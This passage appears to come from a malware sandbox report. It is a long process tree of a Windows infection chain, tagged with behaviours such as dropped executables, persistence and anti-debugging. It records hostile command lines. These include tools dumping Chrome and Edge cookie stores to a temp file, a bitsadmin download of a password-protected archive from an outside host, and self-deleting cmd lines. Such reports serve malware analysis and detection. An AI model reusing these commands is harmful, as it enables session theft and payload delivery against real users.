                                          • C:\Program Files (x86)\Company\NewProduct\customer3.exe
                                            "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
                                            7⤵
                                            • Executes dropped EXE
                                            • Drops startup file
                                            PID:812
                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                              8⤵
                                              • Executes dropped EXE
                                              PID:5860
                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
                                              8⤵
                                              • Executes dropped EXE
                                              PID:5956
                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                              8⤵
                                              • Executes dropped EXE
                                              PID:5464
                                            • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                              C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                              8⤵
                                              • Executes dropped EXE
                                              PID:5912
                                            • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                              C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                              8⤵
                                                PID:5792
                                              • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                8⤵
                                                • Executes dropped EXE
                                                PID:5712
                                              • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                8⤵
                                                  PID:5356
                                                • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                  C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                  8⤵
                                                    PID:4980
                                              • C:\Users\Admin\Documents\amXYYp6YIFXlu2R4yzlykeGX.exe
                                                "C:\Users\Admin\Documents\amXYYp6YIFXlu2R4yzlykeGX.exe"
                                                6⤵
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                • Checks SCSI registry key(s)
                                                • Suspicious behavior: MapViewOfSection
                                                PID:4252
                                              • C:\Users\Admin\Documents\yG8Z38AThd3Z4iXSIo5crYY2.exe
                                                "C:\Users\Admin\Documents\yG8Z38AThd3Z4iXSIo5crYY2.exe"
                                                6⤵
                                                • Executes dropped EXE
                                                PID:4756
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 664
                                                  7⤵
                                                  • Program crash
                                                  PID:5020
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 668
                                                  7⤵
                                                  • Program crash
                                                  PID:4224
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 708
                                                  7⤵
                                                  • Program crash
                                                  PID:2488
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 704
                                                  7⤵
                                                  • Program crash
                                                  PID:5308
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 1120
                                                  7⤵
                                                  • Program crash
                                                  PID:5988
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 1124
                                                  7⤵
                                                  • Program crash
                                                  PID:6100
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 1164
                                                  7⤵
                                                  • Program crash
                                                  PID:4884
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c taskkill /im "yG8Z38AThd3Z4iXSIo5crYY2.exe" /f & erase "C:\Users\Admin\Documents\yG8Z38AThd3Z4iXSIo5crYY2.exe" & exit
                                                  7⤵
                                                    PID:4848
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /im "yG8Z38AThd3Z4iXSIo5crYY2.exe" /f
                                                      8⤵
                                                      • Kills process with taskkill
                                                      PID:636
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 1204
                                                    7⤵
                                                    • Program crash
                                                    PID:5356
                                                • C:\Users\Admin\Documents\VFEVbypV1BVW6Rs_U94skHoO.exe
                                                  "C:\Users\Admin\Documents\VFEVbypV1BVW6Rs_U94skHoO.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  • Checks BIOS information in registry
                                                  • Checks whether UAC is enabled
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • NTFS ADS
                                                  PID:4236
                                                • C:\Users\Admin\Documents\58ujR1vp0zysYwQIcRhD7sLg.exe
                                                  "C:\Users\Admin\Documents\58ujR1vp0zysYwQIcRhD7sLg.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  PID:4744
                                                  • C:\Users\Admin\Documents\58ujR1vp0zysYwQIcRhD7sLg.exe
                                                    C:\Users\Admin\Documents\58ujR1vp0zysYwQIcRhD7sLg.exe
                                                    7⤵
                                                    • Executes dropped EXE
                                                    PID:5152
                                                • C:\Users\Admin\Documents\vLsl7hOvFfJs85Z90taG23Kq.exe
                                                  "C:\Users\Admin\Documents\vLsl7hOvFfJs85Z90taG23Kq.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4680
                                                • C:\Users\Admin\Documents\UnG6gbFYf8jOqbTipemjF4u2.exe
                                                  "C:\Users\Admin\Documents\UnG6gbFYf8jOqbTipemjF4u2.exe"
                                                  6⤵
                                                  • Executes dropped EXE
                                                  PID:1912
                                                  • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                    C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                    7⤵
                                                      PID:5204
                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                      7⤵
                                                      • Executes dropped EXE
                                                      PID:5908
                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                      7⤵
                                                        PID:4228
                                                      • C:\Windows\system32\WerFault.exe
                                                        C:\Windows\system32\WerFault.exe -u -p 1912 -s 1508
                                                        7⤵
                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                        • Program crash
                                                        PID:5180
                                                    • C:\Users\Admin\Documents\V6nlXiKCEDVBSBbnCRZ_4uMy.exe
                                                      "C:\Users\Admin\Documents\V6nlXiKCEDVBSBbnCRZ_4uMy.exe"
                                                      6⤵
                                                      • Executes dropped EXE
                                                      PID:4628
                                                    • C:\Users\Admin\Documents\zvj_qXGtNf2Wduq8hVBppn9L.exe
                                                      "C:\Users\Admin\Documents\zvj_qXGtNf2Wduq8hVBppn9L.exe"
                                                      6⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4580
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd.exe /c taskkill /f /im chrome.exe
                                                        7⤵
                                                          PID:4960
                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                            taskkill /f /im chrome.exe
                                                            8⤵
                                                            • Kills process with taskkill
                                                            PID:5512
                                                      • C:\Users\Admin\Documents\TBEt2wk3s697lw32ep10A4BJ.exe
                                                        "C:\Users\Admin\Documents\TBEt2wk3s697lw32ep10A4BJ.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        PID:4560
                                                      • C:\Users\Admin\Documents\4bcZDtX9VL0cncfeJRijEt8z.exe
                                                        "C:\Users\Admin\Documents\4bcZDtX9VL0cncfeJRijEt8z.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        PID:4536
                                                        • C:\Users\Admin\Documents\4bcZDtX9VL0cncfeJRijEt8z.exe
                                                          C:\Users\Admin\Documents\4bcZDtX9VL0cncfeJRijEt8z.exe
                                                          7⤵
                                                          • Executes dropped EXE
                                                          PID:4232
                                                      • C:\Users\Admin\Documents\che6Fo8zkw3w269byGyo8fSt.exe
                                                        "C:\Users\Admin\Documents\che6Fo8zkw3w269byGyo8fSt.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        • Drops file in Program Files directory
                                                        PID:5104
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                          7⤵
                                                            PID:5600
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                            7⤵
                                                              PID:6576
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                              7⤵
                                                                PID:5648
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                7⤵
                                                                  PID:4960
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                  7⤵
                                                                    PID:6464
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                    7⤵
                                                                      PID:6228
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                      7⤵
                                                                      • Checks for any installed AV software in registry
                                                                      PID:6460
                                                                    • C:\Windows\SysWOW64\bitsadmin.exe
                                                                      "bitsadmin" /Transfer helper http://fsstoragecloudservice.com/data/data.7z C:\zip.7z
                                                                      7⤵
                                                                      • Download via BitsAdmin
                                                                      PID:6088
                                                                    • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                      "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pQLV9quaGdLErsKh -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                      7⤵
                                                                      • Drops file in Program Files directory
                                                                      PID:2120
                                                                    • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                      "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pfsY50a76TFlsHmZ -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                      7⤵
                                                                        PID:7480
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                        7⤵
                                                                          PID:7600
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                          7⤵
                                                                            PID:3788
                                                                            • C:\Windows\System32\Conhost.exe
                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                              8⤵
                                                                                PID:5516
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                              7⤵
                                                                              • Executes dropped EXE
                                                                              • Adds Run key to start application
                                                                              PID:5208
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                              7⤵
                                                                                PID:4512
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                                7⤵
                                                                                  PID:5932
                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                  C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\hdvAaRs\hdvAaRs.dll" hdvAaRs
                                                                                  7⤵
                                                                                    PID:7384
                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                      C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\hdvAaRs\hdvAaRs.dll" hdvAaRs
                                                                                      8⤵
                                                                                      • Drops file in System32 directory
                                                                                      • Drops file in Program Files directory
                                                                                      PID:7032
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                                    7⤵
                                                                                      PID:8160
                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                                      7⤵
                                                                                        PID:5132
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                                        7⤵
                                                                                          PID:6632
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                                          7⤵
                                                                                            PID:7108
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              8⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:5040
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst7513.tmp\tempfile.ps1"
                                                                                            7⤵
                                                                                              PID:4440
                                                                                            • C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe
                                                                                              "C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT
                                                                                              7⤵
                                                                                                PID:4748
                                                                                            • C:\Users\Admin\Documents\h6xrYkTxG6RSYhWzttFGh_Rr.exe
                                                                                              "C:\Users\Admin\Documents\h6xrYkTxG6RSYhWzttFGh_Rr.exe"
                                                                                              6⤵
                                                                                                PID:4424
                                                                                                • C:\Users\Admin\AppData\Roaming\7278506.exe
                                                                                                  "C:\Users\Admin\AppData\Roaming\7278506.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:5184
                                                                                              • C:\Users\Admin\Documents\YGFtOf4eiFURC_nBs7MCofUD.exe
                                                                                                "C:\Users\Admin\Documents\YGFtOf4eiFURC_nBs7MCofUD.exe"
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                • Checks BIOS information in registry
                                                                                                • Checks whether UAC is enabled
                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                PID:4400
                                                                                              • C:\Users\Admin\Documents\zT7l6skPT9irkM7m2eW4bAHI.exe
                                                                                                "C:\Users\Admin\Documents\zT7l6skPT9irkM7m2eW4bAHI.exe"
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                • Loads dropped DLL
                                                                                                • Checks processor information in registry
                                                                                                PID:4180
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c taskkill /im zT7l6skPT9irkM7m2eW4bAHI.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\zT7l6skPT9irkM7m2eW4bAHI.exe" & del C:\ProgramData\*.dll & exit
                                                                                                  7⤵
                                                                                                    PID:5472
                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                      taskkill /im zT7l6skPT9irkM7m2eW4bAHI.exe /f
                                                                                                      8⤵
                                                                                                      • Kills process with taskkill
                                                                                                      PID:5224
                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                      timeout /t 6
                                                                                                      8⤵
                                                                                                      • Delays execution with timeout.exe
                                                                                                      PID:6972
                                                                                                • C:\Users\Admin\Documents\SLqZdmB2TwuIInEKpnKhJ0uh.exe
                                                                                                  "C:\Users\Admin\Documents\SLqZdmB2TwuIInEKpnKhJ0uh.exe"
                                                                                                  6⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:2800
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 664
                                                                                                    7⤵
                                                                                                    • Program crash
                                                                                                    PID:4660
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 676
                                                                                                    7⤵
                                                                                                    • Program crash
                                                                                                    PID:5144
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 680
                                                                                                    7⤵
                                                                                                    • Program crash
                                                                                                    PID:5356
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 780
                                                                                                    7⤵
                                                                                                    • Program crash
                                                                                                    PID:5544
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 1080
                                                                                                    7⤵
                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                    • Program crash
                                                                                                    PID:5852
                                                                                                • C:\Users\Admin\Documents\lDlOxjRxq3_R_64JyLP1qBqO.exe
                                                                                                  "C:\Users\Admin\Documents\lDlOxjRxq3_R_64JyLP1qBqO.exe"
                                                                                                  6⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:968
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                    7⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:2940
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                    7⤵
                                                                                                      PID:5040
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                      7⤵
                                                                                                        PID:4228
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                        7⤵
                                                                                                          PID:7972
                                                                                                      • C:\Users\Admin\Documents\8hJ8kTZenL9cjrFbH_sDam7v.exe
                                                                                                        "C:\Users\Admin\Documents\8hJ8kTZenL9cjrFbH_sDam7v.exe"
                                                                                                        6⤵
                                                                                                          PID:4684
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-47NI8.tmp\8hJ8kTZenL9cjrFbH_sDam7v.tmp
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-47NI8.tmp\8hJ8kTZenL9cjrFbH_sDam7v.tmp" /SL5="$20240,138429,56832,C:\Users\Admin\Documents\8hJ8kTZenL9cjrFbH_sDam7v.exe"
                                                                                                            7⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Loads dropped DLL
                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                            PID:204
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-AS7C9.tmp\Setup.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-AS7C9.tmp\Setup.exe" /Verysilent
                                                                                                              8⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Drops file in Program Files directory
                                                                                                              PID:2488
                                                                                                              • C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe
                                                                                                                "C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe"
                                                                                                                9⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Loads dropped DLL
                                                                                                                • Checks processor information in registry
                                                                                                                PID:5360
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c taskkill /im GameBox64bit.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                  10⤵
                                                                                                                    PID:6440
                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                      taskkill /im GameBox64bit.exe /f
                                                                                                                      11⤵
                                                                                                                      • Kills process with taskkill
                                                                                                                      PID:6724
                                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                                      timeout /t 6
                                                                                                                      11⤵
                                                                                                                      • Delays execution with timeout.exe
                                                                                                                      PID:6664
                                                                                                                • C:\Program Files (x86)\GameBox INC\GameBox\GameBox32Bit.exe
                                                                                                                  "C:\Program Files (x86)\GameBox INC\GameBox\GameBox32Bit.exe"
                                                                                                                  9⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:5524
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                    10⤵
                                                                                                                      PID:5132
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                      10⤵
                                                                                                                        PID:5136
                                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe
                                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe"
                                                                                                                      9⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:4664
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-TUR3C.tmp\GameBoxWin32.tmp
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-TUR3C.tmp\GameBoxWin32.tmp" /SL5="$302DC,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe"
                                                                                                                        10⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Loads dropped DLL
                                                                                                                        PID:6012
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-NQTI2.tmp\Daldoula.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-NQTI2.tmp\Daldoula.exe" /S /UID=burnerch2
                                                                                                                          11⤵
                                                                                                                          • Drops file in Drivers directory
                                                                                                                          • Adds Run key to start application
                                                                                                                          PID:7060
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\05-497f5-242-e7c86-22038f8d9078a\Pysyrixiri.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\05-497f5-242-e7c86-22038f8d9078a\Pysyrixiri.exe"
                                                                                                                            12⤵
                                                                                                                              PID:2780
                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
                                                                                                                                dw20.exe -x -s 1336
                                                                                                                                13⤵
                                                                                                                                  PID:636
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\9a-aac7b-6fb-fe192-40a2590305ee6\ZHaedibywadae.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\9a-aac7b-6fb-fe192-40a2590305ee6\ZHaedibywadae.exe"
                                                                                                                                12⤵
                                                                                                                                  PID:5432
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nutzj5vb.e4t\GcleanerEU.exe /eufive & exit
                                                                                                                                    13⤵
                                                                                                                                      PID:6844
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jsbyzvic.uwm\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                      13⤵
                                                                                                                                        PID:7752
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\jsbyzvic.uwm\installer.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\jsbyzvic.uwm\installer.exe /qn CAMPAIGN="654"
                                                                                                                                          14⤵
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • Enumerates connected drives
                                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                                          PID:7924
                                                                                                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                            "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\jsbyzvic.uwm\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\jsbyzvic.uwm\ EXE_CMD_LINE="/forcecleanup /wintime 1628034560 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                                            15⤵
                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:4228
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uz5yfyi5.m40\ufgaa.exe & exit
                                                                                                                                        13⤵
                                                                                                                                          PID:5776
                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                            14⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:5204
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\uz5yfyi5.m40\ufgaa.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\uz5yfyi5.m40\ufgaa.exe
                                                                                                                                            14⤵
                                                                                                                                              PID:4784
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                15⤵
                                                                                                                                                  PID:5000
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                  15⤵
                                                                                                                                                    PID:7120
